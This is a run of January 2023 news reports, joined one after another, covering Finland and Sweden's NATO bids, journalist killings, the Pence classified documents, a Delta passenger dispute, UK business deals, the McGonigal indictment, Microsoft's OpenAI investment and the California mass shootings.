Finlands top diplomat appeared to suggest Tuesday that the country may have to consider joining NATO without Sweden after Turkeys president cast serious doubt on the expansion of the military alliance.

We still have to evaluate the situation if it turns out that Swedens application is stalling for a long time to come, Foreign Minister Pekka Haavisto told Finnish broadcaster YLE.

His comment came a day after Turkish President Recep Tayyip Erdogan warned Sweden not to expect support for its bid for NATO membership following weekend protests in Stockholm by an anti-Islam activist and pro-Kurdish groups.

It was the first time a leading government official in either country had appeared to raise doubts about joining the alliance together. Haavisto later backpedaled, telling reporters in Parliament that his comment earlier Tuesday had been imprecise and that Finlands ambition to join NATO jointly with Sweden remained unchanged.

He said he had spoken with NATO Secretary-General Jens Stoltenberg, who had stressed to Haavisto that the military bloc would like to see the two Nordic nations join simultaneously.

But of course there have been raised concerns within NATO on how the (recent) incidents in Sweden will affect the schedule, Haavisto said.

The bid by Sweden and Finland to join NATO needs the approval of all existing NATO members, including Turkey, which has so far blocked the expansion, saying Sweden in particular needs to crack down on exiled Kurdish militants and their sympathizers.

Until now, Sweden and Finland have been committed to joining the alliance together, but Haavistos comment to YLE raised concerns that Finland was considering proceeding without its Nordic neighbor.

We are in contact with Finland to find out what is really meant, Swedish Foreign Minister Tobias Billstrom said in a statement to The Associated Press. Sweden respects the agreement between Sweden, Finland and Turkey regarding our NATO membership. We have done that so far and we shall continue to do so.

In a memorandum of understanding signed by the three countries at a NATO summit last year, Sweden and Finland committed not to support Kurdish militant groups and to lift arms embargos on Turkey imposed after its incursion into northern Syria in 2019.

Pro-Kurdish and anti-Turkish demonstrations in Stockholm have complicated the process. On Saturday, a far-right activist from Denmark staged a protest outside the Turkish Embassy in Stockholm where he burned the Quran, Islams holy book. A separate pro-Kurdish demonstration was held later Saturday in the Swedish capital.

The Swedish government has tried to distance itself from the demonstrations, while insisting that such protests are allowed under the countrys freedom of speech.

Turkey responded angrily to the protests, canceling a planned visit to Ankara by the Swedish defense minister. Protests were held outside Swedish diplomatic missions in Ankara and Istanbul.

Erdogan slammed Swedish authorities for allowing the Quran-burning demonstration.

It is clear that those who allowed such vileness to take place in front of our embassy can no longer expect any charity from us regarding their NATO membership application, he said.

He also criticized the pro-Kurdish demonstration, accusing Sweden of letting terror organizations run wild on your avenues and streets. He said that if Sweden wont show respect to Turkey or Muslims, then they wont see any support from us on the NATO issue.

(AP)




Killings of journalists around the world jumped by 50% in 2022 compared to the previous year, driven largely by attacks in Ukraine, Mexico and Haiti.

According to a report Tuesday by the New York-based Committee to Protect Journalists, at least 67 news media workers were killed worldwide in 2022, the highest number since 2018. Journalists in the three countries say the increased danger has forced them to work under extreme stress.

The effect is particularly notable in Haiti, where seven journalists were killed in 2022, a huge number for a small island country of about 12 million people. Some were killed by violent street gangs that have basically taken over the capital, Port au Prince, but at least two were shot by police.

Radio Caraibes reporter Mackenson Remy, who still covers news on the street, said journalists no longer know whom to trust.

Reporting in Haiti nowadays is extremely difficult for journalists, specifically in the capital, Remy said. Corruption is all over the place; there is no one you are able to count on.

Remy compared his work driving around the citys streets, carved up into gang territories, to the 1998 movie The Truman Show, in which the protagonist always feels like hes being watched.

The CPJ noted that more than half  35 of the 67 killings  took place in just three countries: Ukraine, Mexico and Haiti. Mexico saw 13 news workers killed, according to the committee. Other media groups have put the number at 15, which would make 2022 the deadliest year in at least three decades for Mexican journalists. In war-battered Ukraine, 15 news workers were killed last year, CPJ said.

The CPJ said it had confirmed that 41 of the 67 journalists were killed in direct connection with their work, and that it is investigating the motives for the 26 other slayings.

The CPJ said journalists covering the war in Ukraine face enormous risk.

Members of the press are frequently injured by shelling while covering the conflict, and some report that they have been targeted by Russian forces, the committee said in its report.

In Mexico, the slayings appeared to be due to a toxic mix of drug gang violence, local political corruption and a lack of punishment for killers.

Sonia de Anda reports for the Esquina32 news website in the northern border city of Tijuana, where two journalists were killed in the space of a week in January 2022. She said reporters there have changed their work habits or requested police protection since the killings.

This changed our entire work dynamic, De Anda said. If reporters go to a high-risk area thats further away, theyll tell their colleagues where they are going. She also noted that requests for official protection increased exponentially after the killings.

On Jan. 17, 2022, crime photographer Margarito Martinez was gunned down outside his home. Five days later on Jan. 23, reporter Lourdes Maldonado Lopez was found shot to death inside her car.

Investigators said a local drug gang boss paid gunmen about $1,000 to kill the news photographer because he thought Martinez had taken a picture of either him or his family. The photo in question was not Martinezs.

Authorities have arrested and put on trial a few low-ranking gunmen, but not those who ordered the killings. The message that the authorities are leaving is that anyone can come around and kill you for $1,000, the CPJ said.

The 2022 killings also included four journalists in the Philippines, and two each in Colombia, Brazil and Honduras. Two journalists each were also killed in Bangladesh, India, Myanmar, Somalia and Chad.

One journalist was killed in the United States last year, on Sept. 2: Jeff German, a reporter for the Las Vegas Review-Journal. A Las Vegas-area elected official about whom German had written articles has pleaded not guilty to the slaying.

(AP)




Documents with classified markings were discovered in former Vice President Mike Pences Indiana home last week, his lawyer told the National Archives in a letter  the latest in a string of discoveries of confidential information in private residences.

The records appear to be a small number of documents bearing classified markings that were inadvertently boxed and transported to the personal home of the former vice president at the end of the last administration, Pences lawyer, Greg Jacob, wrote in the letter shared with The Associated Press.

He said that Pence engaged outside counsel, with experience in handling classified documents, to review records stored in his personal home after it became public that documents with classified markings were found in President Joe Bidens Wilmington residence.

The Justice Department already is using special counsels to investigate the presence of documents with classification markings taken from the Florida estate of former President Donald Trump and from Bidens home and former Washington office. The department says roughly 300 documents marked classified, including at the top-secret level, were taken from Mar-a-Lago, and officials are trying to determine whether Trump or anyone else should be charged with illegal possession of those records or with trying to obstruct the months-long criminal investigation.

Pences lawyer said in his letter that the former vice president was unaware of the existence of sensitive or classified documents at his personal residence and understands the high importance of protecting sensitive and classified information and stands ready and willing to cooperate fully with the National Archives and any appropriate inquiry.

Jacob said that Pence immediately secured the documents that were discovered in a locked safe. And according to a follow-up letter from the lawyer dated Jan. 22, FBI agents visited Pences residence to collect the documents.

A Justice Department spokesman declined to comment Tuesday, and a lawyer for Pence did not immediately respond to an email seeking elaboration.

Pence told the Associated Press in August that he did not take any classified information with him when he left office.

Asked directly if he had retained any such information, he said, No, not to my knowledge.

In a January interview with Fox Business, Pence described a very formal process used by his office to handle classified information as well as the steps taken by his lawyers to ensure none was taken with him.

Before we left the White House, the attorneys on my staff went through all the documents at both the White House and our offices there and at the vice presidents residence to ensure that any documents that needed to be turned over to the National Archives, including classified documents, were turned over. So we went through a very careful process in that regard, Pence said.

(AP)




YWN has been in contact with the passenger in the article posted Tuesday morning about his experience being kicked off a Delta flight from Ft. Lauderdale and to LaGuardia, who revealed the context of the video taken aboard the airplane.

The passenger, a Chasidic Jew, told YWN that he had traveled along with his wife and daughter to Florida, where he had business to conduct. While his wife and daughter returned to New York on Sunday night, he had some additional meetings to attend on Monday and therefore booked a flight on Delta Flight 1541 with plans to return home that evening.

He says that he boarded the aircraft carrying a single carry-on suitcase and one hat box, both of which were within the allowed size and weight limits per Deltas baggage rules and limitations.

However, he says that immediately upon sitting down in Row 31, a stewardess and flight crew member came running up to him and said, You people always have tons of luggage. Why cant you put the hat box under your feet?

The Chasidic man calmly and politely replied that he would be more than happy to do so if there wasnt enough space in the overhead bins. IF the need arises, he told the Delta employees, he was ready and able move the hat box beneath his seat.

The stewardess then left and moved to the rear of the plane, only to return about 2 minutes later enraged. The Chasidic man told YWN that she abruptly and without consent grabbed his carry-on suitcase from the overhead bin and began walking off the aircraft. The Chasidic man immediately told her  politely  that it was his private property and requested it back.

At that point, the stewardess said: If you dont let me, I will show you.

She returned the luggage to the Jewish passenger, who placed it back in the overhead bin and sat down.

Minutes later, the Jewish man was ordered off the plane and escorted by security guards, who held him on the ramp as they began investigating the incident, including questioning other passengers aboard the aircraft.

After an initial investigation, security told the Jewish man that despite their probe finding him to be in the right, the stewardess had threatened to leave the flight if he was allowed back on. Thus, the airline gave him a $500 gift card and a hotel, but did not allow him to fly to New York that evening.

He says that the airline supervisor at the airport was very nice and apologetic to him and understood that he had been the victim of discrimination and unprofessional behavior, but that Delta policies did not allow her to remove the stewardess from the flight, so she had no choice but to simply offer him another flight.

Additionally, he tell YWN that aside for this one stewardess which appeared to be anti-Semitic, all of the other Delta employees treated him with respect and dignity. They acknowledged their shortcomings, promised to properly investigate the matter and tried to help as much as possible.

Attorneys are now involved in the matter, with a letter sent to Delta Airlines demanding an explanation for the stewardess unacceptable behavior.

NOTE: A Hasidic passenger filmed this incident and the person thrown off the flight would like to contact you. If you were the person filming this incident, please contact YWN so we can put you in touch with the victim in this incident.

(YWN World Headquarters  NYC)
Sponsored Content





On January 16, the Orthodox Union (OU) held a kashrus conference in Israel for the mashgichim in its network. Some of Israels most prominent rabbis also attended, as well as OU Kosher rabbis and OU board members. The goal of the conference was to show appreciation for the OUs mashgichim through a lunch and speeches from top rabbis.

OU Kosher CEO and Rabbinic Administrator Rabbi Menachem Genack, OU Kosher COO and Executive Rabbinic Coordinator Rabbi Moshe Elefant, and Director of OU Kosher in Israel Rabbi Yissachar Dov Krakowski attended the conference. More than 70 mashgichim came, and there were more than 120 attendees total.

OU Kosher CEO and Rabbinic Administrator Rabbi Menachem Genack addresses attendees at OU Koshers conference in Jerusalem

The speakers at the conference were Rabbi Yoseph Efrati, Rabbi Asher Weiss, Rabbi Menachem Genack, Rabbi Yoseph Rimon, OU board member Dr. Joshua Penn, Rabbi Nisson Kaplan, Rabbi Chaim Feinstein, Rabbi Mordechai Gross, Rabbi Shmuel Weiner and Rabbi Shmuel Rabinowitz.

Topics included the halachos of kashrus, sugyos of the Gemara, and trends in kosher supervision in Israel. For example, Rabbi Shmuel Weiner, rav of Zichron Nosson Tzvi Rosh Kollel in Ramat Eshkol, discussed the growing need for OU certification in Israel as more Americans make aliyah.



Left to right: OU Kosher COO and Executive Rabbinic Coordinator Rabbi Moshe Elefant greets Rav Chaim Feinstein at OU Koshers conference in Jerusalem

At the end of the conference, the OU gifted its mashgichim with tokens of appreciation that included leather bencher holders engraved with the OU Kosher symbol with laminated benchers inside, and an OU-branded havdallah set.

Rabbi Menachem Genack said:

Our mashgichim are the backbone of OU Kosher. Their work is the highest level of excellence. Each mashgiach in our network is talented and bright, and the OU Kosher team works collaboratively together and learns from each other every day.

Rabbi Moshe Elefant said:

OU Kosher is the most recognizable kosher certification in the nation. Our customers are proud to bear the OU Kosher symbol. A luncheon with gedolei Yisroel is an appropriate way to honor the people who help make that possible.

Rabbi Yissachar Dov Krakowski said:

ts important to show appreciation to the people doing the behind-the-scenes work to keep the OU at the highest standard. Since the conference, Ive been getting non-stop messages from the mashgichim about how much they enjoyed it. Im so glad we could show them how crucial their work is as part of the OUs mission.



Left to right: Rav Asher Weiss and OU Kosher COO and Executive Rabbinic Coordinator Rabbi Moshe Elefant at OU Koshers conference in Jerusalem

About the Orthodox Union

Founded in 1898, the Orthodox Union (OU), or Union of Orthodox Jewish Congregations of America, serves as the voice of American Orthodox Jewry, with over 400 congregations in its synagogue network. As the umbrella organization for American Orthodox Jewry, the OU is at the forefront of advocacy work on both state and federal levels, outreach to Jewish teens and young professionals through NCSY, Israel Free Spirit Birthright, Yachad and OU Press, among many other divisions and programs.

About OU Kosher

OU Kosher is the nations largest kosher-certifying body. To date, it has certified more than 1.3 million products in food and ingredient plants in 106 countries.
Billionaire hedge fund manager Bill Ackman has taken a minority stake in watchmaker Bremont after becoming a customer.

The US activist investor has pumped 48.4million into the Henley-on-Thames based company alongside long-standing investor Hellcat.

The move will help Bremont bring large-scale watchmaking back to the UK.

US activist investor Bill Ackman has pumped 48.4m into Henley-on-Thames based watchmaker Bremont alongside long-standing investor Hellcat

Ackman said he has long admired the company and last summer sent a handwritten note to brothers Nick and Giles English, who co-founded Bremont in 2002.

The 56-year-old founder and boss of Pershing Square Capital Management  which is based in New York  has ploughed his own private funds into the British business and said he will help it recruit a chief executive.

Bremont, known for selling products to those in the military and with its headquarters in Henley-on-Thames, London, is now valued at more than 100million.

The Wall Street financier said he was thrilled to have become a shareholder at a fulcrum point in the companys evolution and would see it reach its rightful position as a global leader in watchmaking.

Fresh capital was not just a boost for Bremont, but also for Britain, Giles English said.

A year and a half ago, the watchmaker opened a 35,000 sq ft manufacturing and technology hub in Henley.
The Spotify executive who signed up Harry and Meghan in a multi-million-pound podcast deal is leaving as the company slashes hundreds of jobs.

Chief content officer Dawn Ostroff was the driving force behind the streaming businesss move into podcasts.

She secured the Duke and Duchess of Sussexs Archetypes series in a deal thought to be worth 20million  but announcing around 600 job cuts and a management shake-up, chief executive Daniel Ek yesterday said Ostroff has decided to depart Spotify.

Royal drama: Chief content officer Dawn Ostroff secured the Duke and Duchess of Sussexs Archetypes series in a deal thought to be worth 20m

The Stockholm-based company is just the latest technology giant to feel the heat of economic uncertainty and said it would reduce its global workforce by 6 per cent.

The group employs almost 10,000 staff worldwide, with around 671 in the UK. The company said cost-cutting efforts in recent months had failed to shift the dial and more drastic changes were needed to boost business, including fundamentally changing how we operate at the top.

Ek said: Like many other leaders, I hoped to sustain the strong tailwinds from the pandemic and believed our broad global business and lower risk to the impact of a slowdown in ads would insulate us. In hindsight, I was too ambitious in investing ahead of our revenue growth.

The company said Ostroff helped expand the podcast content by 40 times, signing major contracts with Harry and Meghan and the Obamas.

But this shift to podcast and content investment has come at a cost as the firm racked up losses of 130million in the nine months to September 30.

Spotifys shares have also been hit by the increasing pressure on consumer spending and a wider tech sell-off, with shares down more than 70 per cent since February 2021 heights, knocking roughly 40billion off its value.

Head of research at Enders Analysis Alice Enders described Spotifys job cuts as inevitable for a company that relies so heavily on advertising.

Over half of Spotifys 456million monthly users listen for free, meaning any global advertising slump is likely to weigh heavy on the platform.

The same advertising strain has meant mass job cuts for Facebook-owner Meta, Snapchat and Twitter too in recent months.

Tech analyst at PP Foresight Paolo Pescatore said job losses are simply the flavour of the month for tech firms. Amazon.

Google parent Alphabet and Microsoft have announced cuts this month alone. Data website Layoffs.fyi estimates over 55,000 have lost their jobs at tech firms so far in 2023, pushing the total number of job losses to well over 200,000 since the start of 2021.
Two British entrepreneurs have struck a deal to buy Dignity.

Insurance tycoon Sir Peter Wood and fund manager Gary Channon have tabled a 550p a share bid that values the funeral firm at 281million.

In an update to the City yesterday, Dignity said its board of directors was intending to recommend the offer unanimously to shareholders.

Investment pledge: Insurance tycoon Sir Peter Wood and fund manager Gary Channon have tabled a 550p a share bid that values funeral firm Dignity at 281m

Shares leapt 8 per cent, or 40p, to 543p yesterday, having been trading at 425p in early January before news of the deal negotiations was disclosed publicly.

A successful takeover would see Channon, 55, return to Dignity after he stepped down as chief executive in May last year.

It would also mark a return to dealmaking for Wood, the 77-year-old multi-millionaire founder of insurance groups Direct Line, Esure and Sheilas Wheels. Together, Wood and Channons consortium already controls around 29 per cent of Dignity.

They have promised that under their ownership the firm will receive a significant level of investment to fund expansion through new funeral plans as well as upgrading its infrastructure.

The group will also get financial support to fund acquisitions and boost profitability.

Wood said: Dignity has long-term growth potential  the signs are clear to me. However, given the challenges and significant development work needed, the best way forward for Dignity is as a private company.

The takeover offer has been unanimously backed by Dignitys directors, with chairman Giovanni Castagno saying it provided investors with a significant cash premium despite an elevated level of uncertainty caused by growing competition in the funeral market.

Channon and Wood clubbed together in 2021 to form Castelnau Group, an investment trust listed on the London Stock Exchange that is backed by both Channons asset management firm Phoenix Asset Management and Woods personal fortune.

Aside from Dignity, Castelnau holds shares in other notable firms including model train maker Hornby and wedding gift group The Cambium Group.

Wood, meanwhile, is a big investor in property with his developments including an eight-bedroom mansion in Palm Beach, Florida  located a mile from Donald Trumps Mar-a-Lago resort  which sold for 30million in 2020.

News of the takeover deal came as Dignity issued a bleak trading update for 2022, warning its profits for the year would be no more than 20million, less than half the 55.8million generated in 2021.

The firm blamed the slide on changes to its pricing strategy and a continued shift towards cheaper funerals despite a higher-than-average death rate persisting following the end of the pandemic.

Dignity also noted its spending rose during the year due to investments across its facilities as well as higher costs for coffin-making materials and the gas used to operate its crematoria.

While the firm is one of the largest providers of funerals in the UK, it has seen its profits continually squeezed as customers opt for cheaper funerals in larger numbers.

It has caused the group to lose market share to rivals such as Co-op, which has around 1,000 funeral homes across Britain.

Dignity has also come under pressure after the UKs competition authorities intervened in the market in 2021 to force funeral providers to display standardised price lists while blocking them from soliciting business through care homes.

If investors decide not to accept the cash, they can instead opt to receive shares in Valderrama, a private joint venture set up by Wood and Channon to orchestrate the bid, or in their London-listed investment trust Castelnau.

Investors will receive 5.5 Valderrama shares for each Dignity share they own or 7.33 shares in Castelnau.
Chapel Down hailed a spectacular Christmas as the English wine industry goes from strength to strength.

Englands biggest wine producer sold 100,000 bottles of fizz in December, ten times more than a year earlier when the Covid pandemic put paid to family gatherings.

Boss Andrew Carter said December was spectacular and customers wanted to treat themselves.

Lovely bubbly: Chapel Down sold 100,000 bottles of fizz in December, ten times more than a year earlier when the Covid pandemic put paid to family gatherings

They increasingly opted for English sparkling wine over French Champagne, he added.

Carter, 54, said: If you put a bottle of Chapel Down on your Christmas table, it made a real statement about what you believe in and who you are as a consumer.

He believes English sparkling wine fans are trend setters, with the tipple only set to become more popular.

Chapel Downs roaring Christmas capped a year in which it sold a record 790,000 bottles of sparkling wine.

Overall sales jumped by a tenth to 15.6million, with the business saying it carried significant momentum into this year.

And in a sign of the growing appeal of British bubbly against its French and Spanish rivals, Chapel Down saw a surge in sales at bars and restaurants, as well as exports abroad.

Carter, who took over Chapel Down in 2021, said: It has been a fantastic year, we are producing award-winning sparkling wines and consumers are discovering that in droves.

The English wine industry has been booming for the past decade, helped by warmer temperatures for grape growing. The climate has even attracted French champagne houses to set up shop in the UK.

And Simon Thorpe, the boss of trade organisation Wine GB, said there is a solid pipeline of growth for the coming years for the industry. Last year saw another surge in vineyards being planted, with a total of 897 in England and Wales.

Thorpe added there has also been a shift in consumer preferences toward sparkling wine, and English sparkling wines in particular.

People increasingly find buying local important and like being able to understand where their product has come from. Consumers are definitely getting more engaged in English and Welsh wines, too. It is a bit of a cool thing to have on your table now.

Carter said 2023 is set to be another bumper year for Chapel Down, with customers set to brush off the rising cost of living.

He said: Drinks are slightly more recession-proof, and even in tougher times people want to buy something to celebrate and enjoy with family and friends.

Chapel Downs shares, owned by an army of 8,500 wine enthusiasts who enjoy discounts on its products, rose 3.6 per cent, or 1.38p, to 39.5p.
City heavyweight: Sir John Kingman has been appointed chairman of- Barclays UK retail arm

Barclays beefed up its board with the appointment of former Treasury mandarin Sir John Kingman as chairman of its UK retail arm.

The banking giant said Kingman will replace Crawford Gillies, who is stepping down in May after nine years on the board.

Kingman, chairman of Legal & General, will oversee Barclays UK, the groups ring-fenced bank. He will stay on at L&G but stood down as chair of Tesco Bank over the weekend. Barclays praised Kingmans deep background in financial services including in the public and private sectors.

As a top Treasury civil servant, 53-year-old Kingman played a major role in the UKs response to the financial crisis, overseeing the bailouts of Lloyds and Royal Bank of Scotland as well as the nationalisation of Northern Rock.

He went on to run UK Financial Investments, the Government body charged with overseeing taxpayers interest in the banking system.
The former head of counterintelligence for the FBI's New York office, Charles McGonigal, was indicted yesterday on money laundering charges and violating U.S. sanctions against Russia. McGonigal is accused of illegally trying to remove Russian billionaire Oleg Deripaska from the U.S. sanctions list in 2019.

McGonigal was also charged with taking money from Deripaska to investigate another oligarch. McGonigal "was also one of the key figures who helped trigger special counsel Robert Mueller's investigation into allegations that Trump's campaign team colluded with Russia to help the former president win the 2016 election," said Newsweek.

That's not all. From The Washington Post: "A second indictment, filed in Washington, accused McGonigal of hiding payments totaling $225,000 that he allegedly received from a New Jersey man employed decades ago by an Albanian intelligence agency. The indictment also accused him of acting to advance that person's interests.

McGonigal pleaded not guilty. His lawyer, Seth DuCharme, said "As you all know, Charlie's had a long distinguished career with the FBI. He served the United States for decades. This is obviously a distressing day for Mr. McGonigal and his family."
Backing: Microsoft is thought to be investing around 8bn in chat bot firm OpenAI

Microsoft is making a 'multi-billion-dollar investment' in chat bot firm OpenAI as the Silicon Valley giant continues its push into artificial intelligence.

Although the exact finances have not been revealed, reports suggest Microsoft will plough in around 8billion in a deal that values OpenAI at 23billion.

Chat bots are computer programmes that are designed to mimic humans in online conversations. They are often used by customer service teams to answer online queries automatically but are becoming increasingly advanced. OpenAI was set up by Elon Musk and owns the ChatGPT chat bot that can do everything from writing essays to debugging code.

Microsoft made its first 808million investment in OpenAI in 2019, but ChatGPT exploded in popularity after it was made free to use in November, crossing 1m active users within the first five days.
One of Western New York's largest community health care providers is expanding in Buffalo's Kensington-Bailey neighborhood.

Buffalo-based Evergreen Health and its affiliate Community Access Services recently purchased four parcels  1096, 1098 and 1102 Kensington Ave. as well as 3074 Bailey Ave.  where it plans to construct a health care services building.

The land was purchased by Evergreen Health Foundation from J-P Group LLC for $870,000.

Evergreen and Community Access Services have had a presence nearby at 3297 Bailey Ave. since 2018, but the organizations will depart that location once the new building is constructed.

Evergreen has not yet determined a construction date and site plans, though the organization expects the building could be up to 35,000 square feet in size.

The organization has retained Art Hall of Hallmark Planning & Development, a Buffalo planning consultant firm, to lead the project's community engagement efforts.

As part of that process in the coming months, Evergreen, Community Access Services and Hallmark plan to host public meetings and listen to community feedback as the organizations work to develop the site.

Evergreen expects the project to cost around $10 million, and it intends to fund the development of the project from several sources, including a capital fundraising campaign.

"Since we opened our doors 40 years ago, our mission has been to provide quality care to those who are underserved and undervalued by the health care system," Evergreen President and CEO Ray Ganoe said in a statement.

"We're only able to provide this comprehensive care because of community partnerships like the one we formed with Community Access Services years ago," he said. "Together, we have and will continue to provide that unconditional care that the community deserves at our new site which will build upon our mission to provide inclusive, compassionate, respectful and judgment-free care."

Why is Buffalo's Evergreen Health snapping up primary care clinics? Evergreen, which employs nearly 500 people, now has 10 locations, including five primary and specialty care clinics  three in Buffalo and one each in Cheektowaga and Jamestown.

Evergreen Health provides medical, supportive and behavioral health services to patients in Western New York.

Community Access Services, which was established as an affiliate of Evergreen in 2000, focuses on efforts to address HIV and other chronic conditions that challenge the health and welfare of urban communities in Buffalo and Erie County.

"We are at the beginning stages of this development project, but we are looking forward to talking more with the community about the services needed at our expanded location," Community Access Services Executive Director Kim Brown said in a statement.
Just two days after a gunman killed 11 people at a Los Angeles-area dance studio, seven more victims were shot dead in an agricultural area near San Francisco, as California suffered one of its bloodiest spates of mass gun violence in decades.

Authorities said they had not identified the motive for either of the rampages, which seemed especially baffling in part because the suspects in each were men of retirement age, much older than is typical for perpetrators of deadly mass shootings that have become numbingly routine in the United States.

California Governor Gavin Newsom said he was visiting wounded survivors from Saturday nights massacre in the Los Angeles suburb of Monterey Park when he was informed of Mondays killings in northern California.

Tragedy upon tragedy, Newsom wrote on Twitter.

Otherwise, the back-to-back shootings appeared to have little in common.

The latest spasm of gun carnage struck the coastal town of Half Moon Bay, about 30 miles south of San Francisco, where a gunman opened fire on groups of farm workers at two locations, leaving a total of seven dead and one badly wounded, then fled.

The accused gunman, identified as Chunli Zhao, 67, was arrested a short time later after he was found sitting in his vehicle, parked outside a sheriffs station, where authorities said they believe he had come to turn himself in.

A semi-automatic handgun was found in his car, San Mateo County Sheriff Christina Corpus told an evening news conference.

Corpus said the suspect and worked at one of the two crime scenes, which she described as agricultural nurseries. Local media described one site as a mushroom farm.

In a separate Bay-area incident on Monday evening that drew far less attention, one person was killed and seven wounded in a shooting between several individuals in Oakland, police reported, in circumstances suggesting a case of gang violence. Police gave few details, but said the surviving victims had all gotten themselves to area hospitals.

News of the massacre in Half Moon Bay surfaced as police worked through a second full day of their investigation into the shooting at the Star Ballroom Dance Studio in Monterey Park, just east of downtown Los Angeles, where a gunman shot 11 people to death. Nine others were wounded.

Authorities said the suspect, Huu Can Tran, 72, drove next to an adjacent town and barged into a second dance hall but was confronted by the clubs operator, who wrestled the weapon away during a brief scuffle.

Tran, himself a longtime patron of the Star Ballroom, catering mainly to a older dance enthusiasts, fled again and vanished overnight.

He shot himself to death in his parked getaway vehicle, a cargo van, on Sunday morning, about 12 hours after his rampage, as police surrounded him in the town of Torrance, south of Los Angeles, authorities said.

LETHAL RECORD

Saturdays violence unfolded in the midst of a Chinese Lunar New Year celebration in Monterey Park, a hub of the Asian-American community in Southern California, giving rise initially to concerns the attack may have been racially motivated. The second day of the event was canceled.

It ranked as the deadliest mass shooting ever in Los Angeles County, according to Hilda Solis, a member of the county Board of Supervisors.

By comparison, the 1984 massacre of 21 people at a McDonalds restaurant in San Diego stands as the greatest loss of life from a single shooting incident on record in California.

Fourteen people were slain in San Bernardino, east of L.A. County, in 2015, by a married couple who authorities described as extremists inspired by foreign terror groups. They were killed hours later in a shootout with police.

The two latest shootings were also notable for the age of the suspects, one in his late 60s, another in his early 70s.

A database of 185 mass shootings between 1966 and 2022 maintained by the nonprofit Violence Project includes just one carried out by someone 70 or older  a retired miner who killed five people in Kentucky in 1981.

Attesting to the firepower unleashed at the Monterey Park ballroom, investigators collected 42 bullet casings and a large-capacity ammunition magazine from the scene, Los Angeles County Sheriff Robert Luna told reporters on Monday.

He said a search of the suspects mobile home in a gated senior-living community in the town of Hemet, 80 miles east of Los Angeles, turned up a rifle, electronic devices and items that lead us to believe the suspect was manufacturing homemade weapons silencers. Police also seized hundreds of rounds of ammunition from the dwelling and a handgun from the suspects vehicle.

Monterey Park Police Chief Scott Wiese said investigators were looking into unconfirmed reports that the violence may have been precipitated by jealousy or relationship issues.

Adam Hood, who rented a home from Tran in the Los Angeles area, told Reuters his landlord enjoyed ballroom dancing and was a regular at the Star Ballroom, though he complained that others there were talking behind his back.

He was distrustful of the people at the studio, angry and distrustful. I think he just had enough, Hood said.

SOURCE:- REUTERS
Ukrainian President Volodymyr Zelenskiy said personnel changes were being carried out at senior and lower levels, following the most high-profile graft allegations since Russias invasion that threaten to dampen Western enthusiasm for the Kyiv government.

Reports of a new scandal in Ukraine, which has a long history of shaky governance, come as European countries bicker over giving it German-made Leopard 2 tanks  the workhorse of armies across Europe that Ukraine says it needs to break through Russian lines and recapture territory.

There are already personnel decisions  some today, some tomorrow  regarding officials at various levels in ministries and other central government structures, as well as in the regions and in law enforcement, Zelenskiy said in his nightly video address late on Monday.

Zelenskiy did not identify the officials to be replaced. Several Ukrainian media outlets have reported that cabinet ministers and senior officials could be sacked imminently.

The deputy head of Ukraines presidential office, Kyrylo Tymoshenko, later said he had asked Zelenskiy to relieve him of his duties. He did not give a reason but media reported earlier that he might be part of a shake-up.

On Sunday, anti-corruption police said they had detained the deputy infrastructure minister on suspicion of receiving a $400,000 kickback over the import of generators last September, an allegation the minister denies.

A newspaper accused the Defence Ministry of overpaying suppliers for soldiers food. The supplier has said it made a technical mistake and no money had changed hands.

David Arakhamia, head of Zelenskiys Servant of the People party, said officials should focus on the war, help victims, cut bureaucracy and stop dubious business.

Were definitely going to be jailing actively this spring. If the humane approach doesnt work, well do it in line with martial law, he said.

SPRING WILL BE DECISIVE

Front lines in the war have been largely frozen in place for two months despite heavy losses on both sides.

Ukraine says Western tanks would give its troops the firepower to break Russian defensive lines. But Western allies have been unable to reach an agreement on arming Kyiv with tanks, wary of action that could trigger Russian escalation.

Germany, which must approve Leopard re-exports, has said it is willing to act quickly if there is a consensus among allies.

Polish Prime Minister Mateusz Morawiecki said Warsaw would seek permission to send Leopard tanks to Kyiv and was trying to get others on board.

Germany was not blocking the re-export of Leopard tanks to Ukraine, the European Unions top diplomat said on Monday.

American lawmakers have pressed their government to export M1 Abrams battle tanks to Ukraine, saying even a symbolic number would help push European allies to do the same.

Britain has said it will supply 14 Challenger 2 tanks. French President Emmanuel Macron said he did not rule out the possibility of sending Leclerc tanks.

Russia has sought to apply its own pressure.

All countries which take part, directly or indirectly, in pumping weapons into Ukraine and in raising its technological level bear responsibility for continuing the conflict, Kremlin spokesperson Dmitry Peskov said.

Ukraine and Russia are both believed to be planning spring offensives to break the deadlock in what has become a war of attrition in eastern and southern Ukraine.

If the major Russian offensive planned for this time fails, it will be the ruin of Russia and Putin, Vadym Skibitsky, deputy head of Ukraines military intelligence, said in an interview with news site Delfi.

Meanwhile, Russian forces pounded Donetsk in Ukraines east.

Ukrainian forces repelled 11 attacks, 10 of them in the Donetsk region, including in the areas of the town of Bakhmut and the village of Klishchiivka to the south, Ukraines military said on Tuesday.

Last week, Russia claimed the capture of Klishchiivka. Russian forces have been pressing for months for control of Bakhmut but with limited success.

Reuters could not verify battlefield reports.

ACTING AGAINST THE WEST

In the 11 months since invading Ukraine, Russia has shifted its rhetoric on the war from an operation to denazify and demilitarise its neighbour to casting it as defence against an aggressive West. Ukraine and its Western allies call it an unprovoked act of aggression.

On Monday, the new general in charge of Russias military operations in Ukraine warned that modern Russia had never seen such intensity of military hostilities, forcing it to carry out offensive operations.

Our country and its armed forces are today acting against the entire collective West, Chief of the General Staff Valery Gerasimov told the news website Argumenty i Fakty.

Military reforms, announced mid-January, could be adjusted to respond to threats to Russias security, which include Sweden and Finlands aspirations to join NATO and the use of Ukraine as a tool for waging a hybrid war against our country, he said.

SOURCE: REUTERS
[January 23, 2023] Carina Biotech Receives FDA "Safe to Proceed" Letter for IND Application for Phase 1/2a Clinical Trial of LGR5-Targeted CAR-T Cell Therapy Candidate for Treatment of Advanced Colorectal Cancer

Receives greenlight from the FDA for Phase 1/2a clinical trial of CNA3103



